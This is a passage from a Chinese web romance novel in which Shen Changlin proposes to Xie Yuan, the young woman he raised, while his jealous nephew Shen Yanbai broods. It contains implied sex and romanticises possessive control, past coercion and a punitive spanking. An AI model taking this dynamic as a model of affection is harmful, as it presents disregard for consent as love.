向来浪荡随性的大少爷,再提起爱人的时候,眼神带着些微妙意味。
霍阳轻声说道:“之前跟你们讲的,也都是沅沅。”
他透过茶盏袅袅的烟雾,看向沈宴白,莞尔一笑:“哥,往后我可能真的得叫你哥了。”
他的情绪明显,眉头高高地挑着,唇角也扬了起来。
“不过那时候你叔叔不太同意,”霍阳拨了拨头发,“哥,你跟我透露一下,世叔现在是不是转口了?”
沈长凛宠谢沅,她要是执意要嫁。
他就算觉得不合适,估计最终也不会拒绝。
沈宴白今天一直头疼,额侧的穴位突突地跳。
可是到了这个时候,那些躁动的情绪才终于到达极限,他的指尖掐烟,容色冷得不可思议,手也在暗处握成拳。
千防万防,家贼难防。
沈宴白一直知道霍阳常带着谢沅玩,她很怕男人,就对沈宴白、秦承月和霍阳稍微好些。
霍阳风流浪荡,万花丛中过,片叶不沾身。
如果以前有人说他对谢沅有想法,沈宴白是无论如何都不会相信的。
霍阳将谢沅当妹妹,谢沅将霍阳当哥哥,两人就是纯然的玩伴。
可是现在一个跟沈宴白说他们是认真的,一个跟他说他们还真的谈婚论嫁过,昭然地在他的眼皮子底下要结为夫妻。
理智知道,这段婚事没有问题。
霍家和沈家门当户对,两家人又知根知底,哪怕霍阳曾经风流,也没什么可怕的。
毕竟沈长凛总会为谢沅撑腰的。
可是沈宴白的情绪在这时已经全乱了,他的眉眼阴翳,声音也是冷的:“你想都别想。”
他说这话时的口吻,完全不是兄长的口吻。
而是一个深陷嫉妒中的男人的语调。
霍阳的笑脸也微微僵住,他拉住沈宴白的手臂,急声问道:“怎么了,哥?是世叔还不同意吗?”
他的容色郑重,言辞也很仔细。
沈宴白想起那些天和霍阳一起喝酒,当时还嘲笑他为女人栽跟头,跟失恋的小女孩似的。
可是现在,沈宴白自己也快被嫉妒的情绪逼疯。
到底是凭什么?
霍阳跟他明明是一类人,霍阳浪荡不着调,是整个燕城都有名的纨绔。
然而谢沅竟然还真的想跟霍阳在一起。
沈宴白觉得他不能再待了,他怕他再多看霍阳一眼,就会忍不住打他。
“你浪荡风流,没有定数。”他低声说道,“我叔叔不会同意的。”
沈宴白的容色冷着,连茶都没喝便离开了,他甚至没有回头看霍阳一眼,随便找了家清吧,然后就进去了。
思绪太乱,但前不久刚犯过胃病,也不敢喝酒。
夜色渐黑,一整个下午的时光都匆匆流逝。
一个神情柔弱的女孩攀上沈宴白的脖颈,软声问道:“哥哥,能带我回家吗?”
她坐在他的腿上,露出胸前大片的皎白,仰眸看向他。
某一个瞬间,沈宴白的思绪错乱,当女孩含着酒,要吻上他的唇时,他才陡地清醒过来。
他有些恶心地将人推开,冷声说道:“滚。”
女孩无措地抬起眸,胆怯地看向他,弱声唤道:“哥哥,哥哥。”
越听到这个称呼,沈宴白觉得他离发疯就越近,他站起身,径直就往外间走去。
刚刚喝了一点酒,现在回去也没法开车。
沈宴白心情躁郁地给司机打电话,让人来接他,对于那个奢华美丽的家,他少年时一直不太愿意回去。
父亲是个烂泥扶不上墙的纨绔。
他常年不知在何处,偶尔回来也是带着酒气。
母亲柔弱无力,深知父亲是怎样的人,却也不愿离开,又没有一点劝阻的能力,甚至他做了恶事,她还帮着遮掩。
后来是哪一天,念头突然变了的?
沈宴白也记不清了,他只知道他现在想谢沅,很想很想见到他。
中午那会儿,他们两个都在气头上,一句好话也没说出来。
谢沅曾经恋慕他那么多年,就算交了男友又如何呢?如果他往后好好地待她,真心实意地爱她,她未必就能抵抗得了。
实在不行,还可以来硬的。
就是沈长凛那一关难过。
沈宴白眸色晦暗,可一想到待会儿回家见到谢沅,紧皱着的眉头还是舒展许多。
司机来得很快,没多时就将他送回了沈家。
家里似乎没有人,沈宴白打开主灯,又去露台边看了看,正要上楼去寻谢沅时,沈长凛牵着她的手从廊道里走了出来。
她的眼眸红红的,像是刚刚才哭过一场。
谢沅穿了一件白色的外套,她带着帽子,长长的兔耳朵垂下来,像是个受了委屈的小孩子。
沈长凛轻声哄她:“不哭了,沅沅。”
谢沅揉着眼睛,不肯理他,甚至连他的手也想挣开,自己去下楼梯。
虽然她像是受了欺负,可那双水眸里非但没有对沈长凛的惧怕,反倒还带着点娇气。
他好脾气地又扣住她的手腕,低声说道:“要下楼梯了,小心点。”
谢沅不情愿地被沈长凛牵着,却也没有挣扎。
她只是有些疑惑:“刚刚是你开的灯吗?”
沈宴白站在露台的黑暗处,薄唇紧抿,到底没有走出去,可沈长凛还是看见了他,他的眼神淡漠,漫不经心地说道:“可能是管家或者阿姨来过。”
他一边说着,一边轻扶住谢沅的腰身。
谢沅懵懂,一直不明白男人的心思到底能有多晦涩。
但沈长凛却能看得出,沈宴白如今怀的到底是什么念头,他静默地暗想,让沈宴白在宁城常驻一段时间合适不合适。
沈宴白屏息站在黑暗里,直到两人离开,也没敢出来说一句话。
就好像中午的时候,他就站在帘幕的后面,但听到那些动静时,也不能做出任何事。
他的眸色晦暗,薄唇紧抿着,已经清晰少许的思绪又乱起来。
叔叔是当真对谢沅没有任何想法吗?-
坐上车后,谢沅还感觉疼,怎么坐都觉得不舒服,沈长凛轻揽着她的腰身,声音和柔:"要叔叔帮你揉揉吗?"
她本来就难受,听到这话更难受了。
谢沅直接就扣住了沈长凛的手腕,她不断地摇着头:“不要,叔叔。”
她的脸庞泛红,额前沁着汗意,还想从沈长凛的腿上下去。
不过这就太异想天开了点。
沈长凛扣住谢沅的腰身,神情微暗:“你是还想闹我吗?”
此话一出,她就不敢挣动了。
谢沅的长睫低垂,脸庞透着薄粉,眼尾也氤氲湿红,乖顺又安静地窝在他的怀里。
沈长凛吻了吻她的额头,轻声说道:“等晚上回去,再……也不迟。”
“不、不用了,叔叔。”谢沅摇了摇头,“您今天这么辛苦,晚上我们早些睡吧?”
她仰起水眸,期期艾艾地看向他。
重诺是秦家很重要的一个信条,沈长凛也是重诺之人,他不会轻易给出承诺,不过谢沅话语里的这个“我们”很好地取悦了他。
他向后倚靠,声音慵懒:“只要你到时别来招我就行。”
沈长凛没有明指,可谢沅的脸庞却禁不住地红了。
她前两天做了个迷乱的梦,睡着睡着就到了沈长凛的怀里,手脚跟八爪鱼似的环住他。
他唤了她好几声,她才醒过来。
沈长凛将谢沅抱在怀里,指节轻动,低声问道:“梦到什么了,这么……?”
她的脸庞红透,眸底也尽是水意,樱唇紧咬着,还是有哭腔溢了出来。
夜色幽深,不知道是凌晨几点。
谢沅靠在沈长凛的怀里,羞得欲死,不住地掉着眼泪。
沈长凛很温柔地吻了吻她的额头,轻声说道:“不哭了,沅沅,下次不舒服的话,要记得跟叔叔说。”
她才不想把这种事告诉他。
可是在沈长凛揉过谢沅的腰侧时,她却忍不住地低低“嗯”了一声。
已经过去两三天,她还是觉得羞,将脸庞也侧过过去。
可惜谢沅还没有扭过脸,便被沈长凛又掰了过来,他轻掐着她的下颌,低吻她的唇瓣:“中午那个吻,还没亲完呢。”
他的声音里带着笑意,摆明就是要欺负她。
谢沅却拿沈长凛没办法,甚至推也推不动他,只能被人抱在腿上由着他亲。
今天一整日都过得很累很躁动,但在沈长凛怀里时,所有的恐惧和不安情绪好像都被抚平了。
继而涌现的是如潮水般的温暖情绪。
谢沅的樱唇张开,生涩地回应着沈长凛。
可是吻着吻着,眼泪就突然掉下来了。
她怎么能那么不小心呢?
要是没有喜欢过哥哥,要是没有让他知道这件事就好了,谢沅现在既怕沈宴白拿这件事利用她、胁迫她,又害怕沈长凛知道这件事会动怒。
她的长睫低垂着,眼尾也越来越红。
沈长凛捧着谢沅的脸庞,低声问道:“怎么了,沅沅?”
她坐在他的怀里,颤抖着擦眼泪,摇头说道:“没怎么,叔叔,就是眼睛被迷到了。”
谢沅真的很容易哭,有时候稍微狠一些,她的眼泪就会掉个不停。
沈长凛扶着她的后背,低声说道:“是不是还疼,沅沅?”
这一回他没再听谢沅的,指节直接就抚上了那微微肿起的地方,她瞬时就没有心情再难过,竭力想要阻止沈长凛,却还是没能抵抗住。
她的眼泪掉了更多。
到下车时,谢沅的眼眸还是红的,她快要走不动路,全靠沈长凛牵着才没有跌倒。
性子柔软又害羞的小孩子,第一次忍不住低声说重话:“都说了不疼,叔叔还非要揉。”
只不过谢沅的话语实在没有威慑力。
她的脸庞红着,眸里也尽是委屈。
沈长凛眉眼温和,好脾气地继续哄她:“是叔叔的错,不该那样欺负沅沅,也不该违背你的意愿。”
谢沅听到他的话语,感觉更生气了:“您怎么不说‘下次不会再这样’?”
沈长凛到底是没忍住,轻声笑了出来。
上电梯后,他把谢沅抱了起来,声音和柔:“好,下次不会再这样。”
谢沅坐在沈长凛的怀里,脸庞上的羞意更重,二十三层的电梯,便意味着将近一分钟的封闭空间相处。
她不好意思,细声说道:“会有人看见的,叔叔。”
沈长凛漫不经心地摇了摇头,低声说道:“不会。”
这是秦氏旗下的酒店,电梯又是专用的,就是出再大的岔子,也不可能会出现这种疏漏。
更何况,今天整场沈长凛都包了下来。
中午的那桩事发生得突然,可冷静过来后,他到底是没再多想。
如果谢沅真的对沈宴白还有想法的话,依照她那个胆小的性子,别说敢主动吻他了,就是被他抱着,都会惧怕得厉害。
当然,沈长凛有仔细地看完整过所有的录像。
他想起外祖母江夫人的话,眉眼间带着些柔丽,唇角也微扬少许。
应当给沅沅些信心的。也应当给他自己一些信心-
餐厅很雅致,人也不是很多,花园主题的餐厅处处都摆着新花,有悠扬的钢琴曲在轻轻流淌。
外面是车水马龙的夜景,不像是人间的景象,更像是天上的星河。
夜幕已经降临,景色却更显瑰丽。
沈长凛照例是给谢沅准备了花的,他从侍者手里拿过花束,动作轻柔地递给谢沅。
花束很好看,无数支颜色鲜丽的花拢在一起,芬芳馥郁,沁人心脾。
谢沅却是略微有些错愕,她以为会是玫瑰花的。
这个念头闪过后,她紧忙又摇了摇头。
叔叔之前送给她的就是玫瑰花,不可能每一次都送同样的花。
谢沅捧着那束花,弯起眉眼,笑着说道:“谢谢叔叔。”
她的笑颜带着甘意,因为方才哭得很狠,脸庞还透着薄红,所以柔美中蕴了少许的绮媚,更加惹人瞩目。
可沈长凛还是注意到了谢沅脸上细微的愣怔。
他很轻地笑了一下:“不用客气,沅沅。”
谢沅在燕城喜欢的餐厅不是很多,她口味偏向家常,阿姨做的餐食就已经能很好地满足她。
除了那家私厨外,也就对这家餐厅比较喜欢。
二十三层的高楼直入云端,顶层非常开阔,中央用得全都是玻璃,四周也都是落地窗,能够清晰地看到外间的风景,而且又是秦氏旗下的。
所以最后在之前带谢沅看游艇时去过的那家星级餐厅,和这家餐厅之间,沈长凛还是选了这一家。
只不过整体有重新装修过。
谢沅不太爱玩,他们在一起的第三个月,沈长凛才把谢沅带出来。
那时候她总怕被人发现,其实没什么的,哪怕他都那样抱着她了,像沈宴白等人,照样会自欺欺人地觉得他们之间是叔侄情谊深厚。
秦家人血脉里的冷淡,在沈长凛身上体现得最明显。
无论是年少,还是后来,他连丝毫婚配的欲念都没有。
直到和谢沅在一起后。
沈长凛一直在等待,谢沅何时会对沈宴白彻底失望,何时会主动地投入他的怀抱。
其实上回沈宴白差点伤害谢沅时,他就已经能够确定。
沈长凛不是自负的人,可也从来不是会缺乏自信的人,唯独在谢沅的身上,他总是迟疑的、不确定的。
圣诞节的那个夜晚,他心里有多圆满。
后来知悉谢沅恋慕的是沈宴白时,沈长凛的心里就有多难以言说。
这人他是用手段夺来的,他也从来不后悔这件事。
只不过尊崇矜贵如沈长凛,也确实是在谢沅身上失了判断力,尤其是这个孩子比他更加懵懂,意识不到自己的感情。
他的沅沅知道他的控制欲和占有欲有多病态,但他不希望恶欲伤害到她。
无论是身,还是心。
被恶欲侵占理智的时候,总会有一些黑暗的念头出现。
它们可以在他的脑海中漫涌,告诉他何为爱欲的焚心毁欲,却不可以真正伤害到谢沅分毫。
沈长凛陪着谢沅落座,修长的手指落在她的肩头,眼眸轻轻地看向外间。
在当初没得到她时,他还想过最差的打算,是将她给嫁出去。
人总不能太过贪心。
沅沅当然是可以有过去的,不过她的现在和未来全都是他,这便已经足够。
因着谢沅是个蛮有童趣的孩子,总还爱看动画电影,沈长凛特意令人给她准备了不一样的餐食和餐具。
所以她每次来这家餐厅都很高兴很喜欢。
开胃菜上来时,一起端上来的还有甜食。
谢沅用带着爱心的小勺子吃冰激凌蛋糕,樱唇上也沾染到了奶油,挂着一圈可爱的奶胡子。
沈长凛含笑看她,等她吃完后,用纸巾轻轻把她擦净唇角。
所有的餐点都是谢沅爱吃的,一根青菜他都没让人上,她果然吃得很高兴,丝毫也没挑食。
中途有盲盒抽奖。
她拿着毛茸玩具人偶,更加满足:“这个人物我小时候特别喜欢,叔叔。”
那当然了,侍者推的小车里,整整九十个盲盒里,全都是谢沅喜欢的那一个。
到用甜汤的时候,她便有些用不下了。
特别是外面突然开始放烟火时。
谢沅的眼眸亮亮的,一直忍不住在看,她刚想拉住沈长凛的手,给他指那个特别漂亮的大烟花,他的手机便忽然震动起来。
沈长凛看了一眼,眉心微蹙。
他轻声说道:“稍等一下,沅沅,叔叔这边有点事要处理。”
沈长凛事情总是很多,偶尔带她出来玩,也会被突然来到的事给打搅。
谢沅今天一晚上都很高兴,此刻却不由地有些失落,但她是很懂事的孩子,只是点头应道:“好,叔叔,您先忙吧。”
烟火还是很好看,甚至越来越盛大,但却没那么好看了。
谢沅抱着毛茸玩具人偶,轻轻地低了眼眸。
然而下一瞬,餐厅里的灯忽然全都暗了下来。
她的身躯骤然紧绷,无措地坐在沙发里,胸腔里也涌动着阵阵地心悸感。
谢沅站起身,下意识地便要寻沈长凛:“叔叔……”
她急得要掉眼泪,却见不远处复又明亮起来,纤浓合宜,美不胜收,全部都是玫瑰花,各色各样的玫瑰花。
谢沅神情愣怔,耳边的乐曲也渐渐变了调子。
她抿了抿唇,蓦地又想到设计师给她看的实物图和那句怪异的话语。
真奇怪。
如果已经制作好了,沈长凛肯定是要她先试一试的,这次为什么迟迟都没给她看呢?
谢沅的心脏怦然跃动,她的指节抵在衣襟前,心跳越来越快。
她还没有想明白,无数的玫瑰花就突然从头顶落了下来。
有唱着歌的小动物把花束递给她。
谢沅站在无数鲜花的簇拥下,恍然间觉得她好像变成了童话里的小公主,这种场景是她很小很小时的幻想。
她只告诉过沈长凛一次,可是他记住了。
她自己都要忘记的事,他记住了。
谢沅捧着花束,只是再度看见沈长凛的第一眼,她的眼泪便掉下来了。
他换了衣着,气质矜贵温雅,就像是中世纪宫廷里的王爵。
“Willst du mich heiraten?Meine prinzessin。”*
第59章
乐曲声悠扬悦耳,数不尽的玫瑰花环绕在身侧。
烟火也是在这一刻怒放至极点的。
谢沅平生从未见过这么多的玫瑰花,她都怀疑沈长凛把整个玫瑰庄园的玫瑰花都买下来了。
她不想要再哭的。
可是视线甫一对上他色泽稍浅的眼眸,泪水就止不住地往下流。
谢沅哭着攀上沈长凛的脖颈,带着泣音说道:“我愿意的。”
两个人身高差大,他倾身少许,托着她臀根的软肉将她抱了起来,带着笑音说道:“不哭了,沅沅。”
谢沅穿着白色的外套,肩头耸动着,身后的兔子耳朵也在不断地颤。
她手臂环着沈长凛的脖颈,纤细的长腿也扣住他的腰身,哭得上气不接下气:“我一直、一直以为你想把我嫁给别人。”
谢沅的眸里水光颤动,眼尾也哭红了。
她的嗓音里是藏得非常深的委屈,还有很多她自己没能明白过来的情绪。
像是瑰丽的星光,在那双水眸里不断地闪烁。
谢沅反应迟钝,在情爱事的反应还尤为的慢,在之前她甚至没能明白过来,为什么自己那么不想嫁给旁人。
明明这是很早之前,她就知道的必然之事。
谢沅还很胆怯,已经和沈长凛在一起大半年,他疼她怜她,将她放在心尖尖上溺爱。
但哪怕他帮她解除和秦承月的婚约、拒绝和霍阳的婚事时,她也从来不敢幻想,有朝一日叔叔会娶她。
如果说谢沅和沈宴白是云泥之别,她和沈长凛就是沟渠和皎月的区别了。
养大她的这个男人,位高权重,尊贵到不可言说。
他的性子也冷冷淡淡,除却亲近的家人外,从不见对旁人有什么情绪。
如果沈长凛要娶妻,对方一定比明愿还要完美百倍,她得是一个优雅高贵、容貌美丽、稳妥周到至极的人,在各方各面,她应当都是没有疏漏的。
谢沅曾经幻想过,有朝一日沈长凛娶妻后她要怎么办。
连哥哥的女友们都很厌烦她,婶婶一定也不会喜欢她的。
如果真的有那么一天,她会自己提前离开的。
在和沈长凛共枕后,谢沅更害怕这样的事会发生,她总是在担忧未来,总是在害怕意外,可是她唯独不敢去幻想,沈长凛想要她嫁给他。
迷乱时这样的猜想,曾经一闪而过。
但她一点点深想的勇气也没有。
此刻被沈长凛抱在怀里,谢沅还是觉得像是在梦中,直到他吻上她的额头,轻声说道:“我只想沅沅嫁给一个男人,那就是我自己。”
他的声音低柔,眸里却蕴着暗光。
凝着的全都是独占的欲念。
他连旁人分夺她的目光都见不得,哪里会舍得将她送去旁人的怀抱?
沈长凛的容色看似温柔沉稳,只有他自己知道,胸腔的恶欲到底有多汹涌,他不太敢想象,如果谢沅拒绝他会做出什么。
控制,占有,掠夺。
比压抑在闸中的异兽比黑暗中的魑魅魍魉更加可怖。
好在他的沅沅也是同样地爱着他。
但恶欲稍作退潮后,怜惜的情绪便无法抑制地翻涌。
将秦承月带到谢沅面前时,她才十六七岁,单纯懵懂,这个年岁的孩子,面对的是开阔到近乎茫然的人生,而她要承受的则是既定的狭隘未来。
她读书很认真,也很用功。
可在被指婚后,无论谢沅再如何努力,也唯有相夫教子这样一条路可以走。
那不是一个简单的婚约,那是一个抹杀她生命所有可能的残忍约定。
哪怕稍迟两年出现,都不会那般伤害她。
沈长凛拂过谢沅的脸庞,帮她将眼泪拭去,声音很低:“抱歉,沅沅,之前叔叔对你不够好,考虑也不够周全。”
他低垂眼帘,轻轻地看向她。
沈长凛的语调那样温柔,谢沅却哭得更厉害了。
“你已经对我特别、特别好了,”她带着哭腔说道,“你是全世界对我最好的人。”
谢沅都算不清,她到底欠了沈长凛多少。
在最绝望最崩溃的时候,是他把她从深渊里拉出来,他又将她亲手养大。
明明工作那么忙,总还会担心她的身体,休会的十分钟里,也会挤出时间给她拨通电话,甚至她稍微出点小事,他都会立刻亲自前来照看。
就是她爸爸还在时,恐怕都没法对她这么仔细。
整个餐厅都被沈长凛包了下来,旁边看似在用餐的客人,其实也是早就做好准备的侍者。
献花的人,弹琴的演奏者,还有含着笑在录像的摄影师。
周围有好多人在看。
谢沅胆子又小又害羞,可是她还是主动地亲吻了沈长凛,樱唇微启,生涩地吻过男人冰凉的唇。
他温柔地带她加深少许,然后在她快要喘不过气时,便将人轻轻放开。
谢沅的脸庞泛红,长睫也被泪水濡湿,晶莹的泪珠抖动着,像是玫瑰花上的露水,惹人怜惜。
沈长凛吻了吻她的眼皮,声音低柔:“还有戒指,沅沅。”
谢沅愣了一瞬,这时才想起沈长凛方才求婚时,手里捧着的是一枚戒指。
她红着脸,想先从他的怀里下来,沈长凛却直接抱着她将戒指戴上了。
之前设计师给谢沅看过设计图和实物图。
戒指很漂亮,设计也很精巧,主钻是粉色的大钻,色泽莹润,闪烁着光亮,副钻是两颗精致的蓝钻。
不是寻常的环装,而是交扣在一起的。
像是衔尾的蛇。
照片里已经很好看了,真正戴上后却更加好看。
设计师没有给谢沅看内侧的图,戴上以后她才发觉里侧还有他们两人名字的缩写。
她得是有多迟钝,才没看出这是求婚用的戒指。
谢沅的脸庞泛着薄粉,把头埋在沈长凛的肩窝里,连日来的不安和躁动情绪全都消弭了,她的心里像是有一泓泉水。
平静,温暖,幸福。
烟火越来越盛,当看到交扣在一起的圆形烟花飞上天时,她终于意识到这烟花也是为她放的。
谢沅的小名是沅沅。
沈长凛经常用两个交扣在一起的圈圈,来做她的代表图形。
这得是偶像剧里方才会出现的情景。
谢沅眸里的水色潋滟,一直到沈长凛把她抱回到车里,她的心跳还没有平复下来。
她生涩又主动地吻他,纤白的指节搭在男人的肩头,长腿也分开再度环上他的腰身。
身后的兔子耳朵晃来晃去,不断地摇曳着-
两人出去得晚,回来得也迟,到家时已经将近十一点了。
沈长凛抱着谢沅下车,她攀着他的脖颈,樱唇还在被他不断地低吻着。
他没有故意欺负她,吻得很轻也很浅。
这是一种很舒服的接吻方式。
之前沈长凛总吻得很重很狠,谢沅都不太敢主动吻他,渐渐尝到甜头后,她也开始很乖地试着回吻。
她吻得迷乱,脑中也迷迷糊糊的。
到走上台阶时,谢沅才想起沈宴白,她眸里含着水光,嗓音里也带着甘甜的沙哑:“我们要告诉哥哥吗,叔叔?”
她细白的中指上,还戴着戒指。
自从沈长凛给她戴上后,就再没有摘下来。
他怕谢沅害羞,早提前让沈宴白走了,沈宴白在家里闲着也是闲着,倒不如回公司做些事。
手下的人都时常加班,没道理沈宴白这个副总经理就不用加班。
不过谢沅的态度和话语,还是很好地满足了沈长凛。
他低吻了吻她的樱唇,声音微哑:“不急,沅沅,哥哥最近要加班,我们先别去打扰他。”
心态的转变就是这样的。
从前沈长凛哪怕强迫谢沅,也想将这段暗里的关系早日落实。
可如今人真的在怀,反倒没那般急切了。
他过段时间要出国解决海外的事情,谢沅马上也要开学,订婚的仪礼暂时没法进行。
与其打草惊蛇,倒不如等到时候,直接将关系正式定下来。
谢沅被吻得迷乱,知道沈宴白这几天不在家,更加放下心来。
她的长腿交扣在一起,臀间的软肉也被沈长凛托着,整个人都被他牢牢地抱在怀里,更忍不住地想亲他。
但太过主动,有时候是很危险的。
被沈长凛按在柔软的大床上时,谢沅才终于觉察到恐惧。
她感觉她要完了。
沈长凛说今天只要她不招她,就不会欺负她。
但那时候谢沅不知道他要求婚,觉得自己肯定不会招他,于是懵懵懂懂就答应了下来。
此刻她才意识到,这男人的心思有多坏多深,多滴水不漏。
沈长凛的眼眸颜色漂亮,是那种很清很浅的色泽,迎着光时有一种剔透的明澈,可现在这双眼里,全都是浓烈到深暗的情绪。
爱怜欲,占有欲,保护欲,控制欲。
白昼时温柔矜贵的模样,全都消退了个一干二净。
谢沅知道这时候是躲不得的,她还是禁不住地想往后退,还没能退两步,便被男人扣住脚踝,直接拽了回来。
修长白皙的指节,扣住伶仃的踝骨时,是那样的轻而易举。
沈长凛的眸色晦暗,薄唇轻启:“沅沅,你想逃吗?”
谢沅极力地想要否认,可并拢的腿根被掰开,接着到来的就是一巴掌。
衣裙早就褪了一干二净。
浑圆的柔软直接挨上男人的指节,再加上之前的痕印还没消完,疼意加倍。
明明是被求婚的美好晚上,谢沅却被沈长凛抱在腿上,先挨了一顿抽,她知道那是沈长凛的逆鳞,却还是疼得忍不住地哭:“你太欺负人了。”
“打孩子就算了,”她抽咽着说道,“怎么、怎么还打妻子呢?”
谢沅的眼眸红着,扑簌簌地掉着眼泪。
她抬手揉眼睛的时候,那颗漂亮华美的钻戒闪着光,更显灼眼耀目。
沈长凛这个人看起来矜贵温柔,实则性子阴晴不定,在他身边待得久的人都清楚这是位多么难伺候的主儿。
曾经的沈三公子,是不折不扣的贵公子。
他远比沈宴白、霍阳之流要尊贵得多,性子也就比他们要傲慢得多。
也就只有谢沅会将沈长凛当做温柔叔叔。
她实在是太好脾气,也太好说话了,无论他做什么、说什么,提出再过分的要求,她都会乖乖应下来,不觉得有任何问题。
他偏执病态的占有欲和控制欲,她也只觉得是叔叔太关心她了。
于是在这种异样的回馈和顺从之下,沈长凛对谢沅的占有欲、控制欲越来越强。
此刻听到她带着哭腔这样言说,他忽然忍不住低笑出声。
原以为谢沅要过许久才能适应身份的转变,没想到这才第一个晚上,她就能适应他妻子的身份了。
沈长凛换了个姿势,把谢沅抱到腿上,温柔地拭去她的眼泪:“真的只是疼吗?”
她的眼泪本就要止住,这会儿更是不说话了。
谢沅侧过脸去,既羞又气,理都不想理沈长凛了,他怎么能那么讨厌呢?
她在他腿上晃着腰肢,别扭地说道:“很疼,叔叔。”
沈长凛扶着谢沅的腰身,防止她从他腿上滑落,柔声说道:“那叔叔给你揉一揉,好吗?”
他开始好言好语了。
谢沅也就更加安心地任性起来,但她任性也不敢任性太过,小声地提意见道:“叔叔,我先洗个澡,行不行?”
她仰起水眸,看向沈长凛。
谢沅爱干净,偶尔中午也要沐浴,从外面玩回来,更是一定要先洗澡。
沈长凛轻轻点头,应道:“当然可以,沅沅。”
谢沅更是松了口气,等沐浴完回来,她绝对不会招沈长凛一下的,他要是抱她亲她,她就可以拿他之前那句话堵他了。
反正她没有闹他。
谢沅想得很好,但被抱去浴室后,沈长凛却没有出去。
她抿了抿唇,刚放松下来的心弦又紧绷起来,细声提醒地唤道:“叔叔。”
“还要叫叔叔吗?”沈长凛微微俯身,轻声说道,“是不是该改口了,沅沅?”
他背着光,眼眸明明那么明澈,却让谢沅的指骨都绷紧了。
谢沅只在某次意乱情迷时,不小心唤出过那个称谓,她哭了一整个晚上,第二天嗓音还是沙哑的。
她就是敢去喝酒,都不敢再那么叫了。
可是以后,沈长凛估计会让她天天这么叫,一想到这种事,她就像小猫似的想炸毛
谢沅眸光颤抖,错开沈长凛的视线。
她强撑着,弱声说道:“可是我已经习惯这么叫您了,要不等过些时候再改口吧,叔叔。”
谢沅的眸里尽是水意,她轻轻地拉着沈长凛的衣袖,带着恳求看向他。
“过些时候?”他低笑一声,“等你下次再跟谁家公子议婚的时候?”
谢沅今天整个人都有点迷乱。
她没看出沈长凛眼底的情绪,以为他不在意霍阳的事,旧账已经翻篇,虚张声势地说道:“什么称呼都是一样的,叔叔。”
沈长凛掐着谢沅的下颌,低声说道:“是吗?”
危险如暗潮般逼近-
翌日谢沅又没能起得来床,她每天都要睡十个小时左右,作息很规律,近来却是越来越乱。
昨天沈宴白不在,沈长凛更没什么顾忌。
将近三点的时候,他才放谢沅去睡。
前段时间很忙,她夜晚做梦,像八爪鱼似的抱着他睡觉,沈长凛也只能稍微哄哄她。
昨天不仅是繁忙事务结束后的第一次亲密,还是两人关系彻底转变后的第一个夜晚。
没有任何理由放过谢沅的。
她拒绝的时候真是很有骨气的一个女孩子,但后来喊了一整晚老公之后,也是很乖软乖软的。
他说什么都答应,他要做什么都首肯,既乖巧又顺从。
沈长凛哪里还能有脾气?
谢沅沐浴时,还娇气地指使他拿冰激凌、水果蛋糕,他也全都照做,临睡前还在给她念故事。
但最后将她哄睡着后,他还是没一同睡下。
沈长凛将谢沅卧室的帘子拉开了,落地窗外是一轮皎月。
银蟾光满,清辉万里。
真巧。今天也是完满的圆月。
沈长凛比谢沅睡得迟,醒得却比她早,她有点轻微地嗜睡,尤其是劳累过后,总要睡上好久。
他摸了摸她的额头,又看了看时间,索性趁她睡着,先去将一些事情处理了。
谢沅一觉睡到日上三竿,正午的灿阳灼灼。
她用手挡在额前,慢慢地睁开眼眸。
昨夜纷乱的记忆像是一场大梦,谢沅撑着手臂坐起身,仍然有种强烈的恍惚感。
心脏在剧烈地跃动着,就仿佛有一颗种子萌芽,然后在甘霖的浇灌下,飞快地抽枝,生长成参天的乔木。
谢沅抿着唇,记忆回溯清楚后,身躯依然有种在飘着的错觉。
她下意识地想要找沈长凛,打开屏幕,看到他很久前留下的消息,才知道他又去处理事情了。
他工作很忙碌,每次都是才刚忙完很长一段,便有新的事要处理。
谢沅没有再多想。
她昨天被沈长凛喂得太饱,睡醒后还不觉得很饿。
沈长凛说不会在公司待太久,谢沅便想着等他回来再用午餐,虽然现在已经要两点了。
她漫无目的地翻了片刻手机,倏然刷到一则新闻,是一个拍卖钻石的外文新闻。
视频里的粉色钻石色泽莹润,剔透漂亮,闪烁着瑰丽的光芒。
谢沅看了眼指间上的戒指,长睫眨了又眨。
这两块钻石,长得未免也太相似了些,难道说粉钻都是这个样子吗?
她把进度条拖到最后。
当看到最后拍下来的秦家在海外的一位代理人后,谢沅再不能保持淡定,她陡地坐起身来,屏息去数三后面有几个零。
一、二、三……
三千万!
谢沅现在已经能够适应五万的手链,十万的背包,二十万的礼服裙,她甚至连四千万的游艇都能接受了。
可这不代表她能适应三千万的戒指。
谢沅感觉她快要晕过去了,片刻后她才意识到后面的货币符号不是人民币,而是美金。
她沉默了片刻,没忍住地尖叫了一声。
谢沅寡言少语,相应的性子也比同龄的孩子要沉稳许多。
她连看手机的手都换到了右手,钻石的光亮耀眼瑰丽,在她的眼前却全变成了闪闪而过的美金。
谢沅看着那颗漂亮的粉钻,樱唇紧抿着,随即她又想到还有两颗蓝色的副钻。
她很早时就听过祖父谢敏行年轻时,是何等的豪奢富贵,一掷千金为她祖母。
现在想想,祖父还是太保守了些。
谢沅的手指僵直,她动都不敢动,只想找个稳妥的地方,将这枚造价昂贵到无法想象的戒指小心地放起来。
却没想到,她正想着将戒指摘下来,沈长凛便走了进来。
他对谢沅的作息很熟悉,她晚睡后何时能醒过来,他都能大致猜测出来。
将一批文件处理完后,沈长凛就直接回来了。
他的眼眸微眯,看向谢沅,轻声问道:“是大小不合适吗,沅沅?”
将这枚戒指给谢沅戴上后,沈长凛就再没想过让谢沅摘下来,他虽然不急着公开,但适当地告诫一些人,也是有可以的。
当然,换上结婚戒指时除外。
谢沅睡了一晚上,这会儿终于从那迷乱的状态里清醒过来。
她立刻就收手,掀起长睫,动作轻柔地环住沈长凛的脖颈:“没有,叔叔,非常合适。”
谢沅的声音软软的,就是还有些细微的哑意。
像是被冷水湃过的瓜果,透着沙甜。
“我还以为您要很晚才能回来呢。”她这边反应过来后,转移话题也更加顺利了。
沈长凛将谢沅抱起,揉了揉她已经扁下来的小腹:“是不是饿了?怎么没去吃东西?”
他的声音温柔,眼里也带着关切。
谢沅坐在沈长凛的腿上,轻轻地晃着小腿:“我看到您的消息了,想等您回来一起用。”
小孩子还是那副乖顺的样子,但却比往常更多了些依赖。
两个人之间的氛围,也更加亲近了。
沈长凛把谢沅抱了起来,声音和柔:“抱歉,让你久等了,我们现在就去用午餐。”
他将她抱在腿上,喂她吃完的午餐。
用完饭后,谢沅舒服地靠在沈长凛怀里喝果汁。
刚睡醒时的那种不真实感,只是在他身边待了这么一小会儿,就全部消失了。
